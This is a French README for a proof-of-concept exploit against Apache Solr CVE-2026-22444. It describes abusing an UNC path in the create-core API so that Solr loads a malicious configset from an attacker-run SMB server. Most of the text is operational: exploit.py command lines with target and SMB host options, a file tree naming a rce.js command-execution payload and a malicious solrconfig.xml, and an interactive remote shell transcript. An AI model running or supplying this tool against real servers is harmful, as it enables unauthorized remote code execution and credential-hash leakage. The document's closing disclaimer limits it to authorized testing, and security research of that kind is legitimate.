
Exploit pour Apache Solr CVE-2026-22444, exploitant l'injection de chemin UNC et un serveur SMB pour parvenir à une exécution de code à distance via un configset malveillant et une charge utile JavaScript.
Vulnérabilité de validation de chemin UNC dans Apache Solr
CVE-2026-22444 est une vulnérabilité de sécurité affectant Apache Solr, divulguée publiquement vers le 20 janvier 2026. Cette vulnérabilité provient d'une validation d'entrée insuffisante (CWE-20: Improper Input Validation) sur certains paramètres de l'API "create core" d'Apache Solr, permettant à un attaquant de contourner les règles de sécurité lorsque Solr fonctionne en mode "standalone", ce qui peut entraîner une fuite de données, une exécution de code à distance (RCE) ou la divulgation de hachages NTLM.
Plus précisément, si Solr n'a pas l'authentification activée ou si l'utilisateur dispose des droits de création de core, un attaquant peut abuser de cette API via des requêtes spécialement conçues pour accéder à des fichiers protégés ou exécuter des actions malveillantes.
La vulnérabilité a été découverte et signalée à Apache en 2025, puis divulguée publiquement sur la liste de diffusion oss-security :
Annonce officielle : https://www.openwall.com/lists/oss-security/2026/01/20/5
La vulnérabilité existe dans CoreContainer.java, où le constructeur CoreDescriptor déclenche des opérations réseau avant d'effectuer la validation du chemin UNC :
instancePath.toAbsolutePath() peut résoudre des chemins UNC via le réseauFiles.exists() effectue un appel réseauFiles.newInputStream() effectue une lecture réseauassertPathAllowed() n'a lieu qu'après ces opérationsexploit.py - Script d'exploitation de preuve de conceptfiles/ - Fichiers de support nécessaires à l'exploitation (configset)
rce.js - Payload JavaScript d'exécution de code à distanceconf/ - Fichiers de configuration Solr
solrconfig.xml - Définit la chaîne de processeurs de mise à jour malveillanteschema.xml - Définition du schéma Solrmanaged-schema - Fichier de schéma gérérequirements.txt - Dépendances Pythonpip install -r requirements.txt
Les dépendances incluent :
requests>=2.25.0 - Pour les requêtes HTTPimpacket>=0.10.0 - Pour créer le serveur SMBpython3 exploit.py <IP_cible>
Exemple :
python3 exploit.py 192.168.1.100
python3 exploit.py <IP_cible> --port <port>
Exemple :
python3 exploit.py 192.168.1.100 --port 8983
python3 exploit.py <IP_cible> --smb-host <IP_serveur_SMB> --smb-port <port_SMB>
Exemple :
python3 exploit.py 192.168.1.100 --smb-host 192.168.1.50 --smb-port 445
python3 exploit.py <IP_cible> --share-name <nom_partage>
Exemple :
python3 exploit.py 192.168.1.100 --share-name myshare
Arguments positionnels :
target_host Adresse IP du serveur Solr cible
Arguments optionnels :
-h, --help Affiche le message d'aide et quitte
--port, -p PORT Port du serveur Solr (défaut : 8983)
--smb-host SMB_HOST IP du serveur SMB (défaut : détection automatique de l'IP locale)
--smb-port SMB_PORT Port du serveur SMB (défaut : 445)
--share-name SHARE Nom du partage SMB (défaut : malicious)
filesAprès une exploitation réussie, le script fournit un shell interactif :
solr> whoami
[+] exit_code: 0, status: success
--- stdout ---
desktop-abc123\user
solr> dir
[+] exit_code: 0, status: success
--- stdout ---
Volume in drive C has no label.
...
solr> exit
[*] exiting shell...
Commandes prises en charge :
exit ou quit - Quitter le shell interactifCtrl+C - Interrompre et quitterLa vulnérabilité exploite la chaîne technique suivante :
configSet (par exemple //ip-attaquant/partage)StatelessScriptUpdateProcessorFactory de Solr pour exécuter du code JavaScriptpython3 exploit.py 192.168.35.31 \
--port 8983 \
--smb-host 192.168.35.50 \
--smb-port 445 \
--share-name exploit
CVE-2026-22444/
├── exploit.py # Script d'exploitation principal
├── requirements.txt # Dépendances Python
├── files/ # Configset malveillant
│ ├── rce.js # Payload JavaScript RCE
│ └── conf/ # Répertoire de configuration Solr
│ ├── solrconfig.xml # Configure le processeur de mise à jour malveillant
│ ├── schema.xml # Définition du schéma
│ └── managed-schema # Schéma géré
└── README.md # Ce fichier
rce.js : C'est le payload RCE principal, qui :
cmd depuis les paramètres de la requêtesolrconfig.xml : Configure Solr pour utiliser la chaîne de processeurs de mise à jour malveillante :
rce-chainrce.js/update pour utiliser cette chaîne⚠️ Attention : Cet outil est destiné uniquement aux tests de sécurité autorisés et à des fins éducatives. L'utilisation non autorisée de cet outil pour attaquer des systèmes est illégale.
Ce projet est sous licence MIT. Veuillez consulter le fichier LICENSE pour plus de détails.
Cet outil et ces informations sont fournis uniquement à des fins de recherche en sécurité et d'éducation. L'auteur n'est pas responsable des dommages causés par l'utilisation abusive de ces informations ou de cet outil. L'utilisateur doit se conformer à toutes les lois et réglementations applicables et obtenir une autorisation appropriée avant utilisation.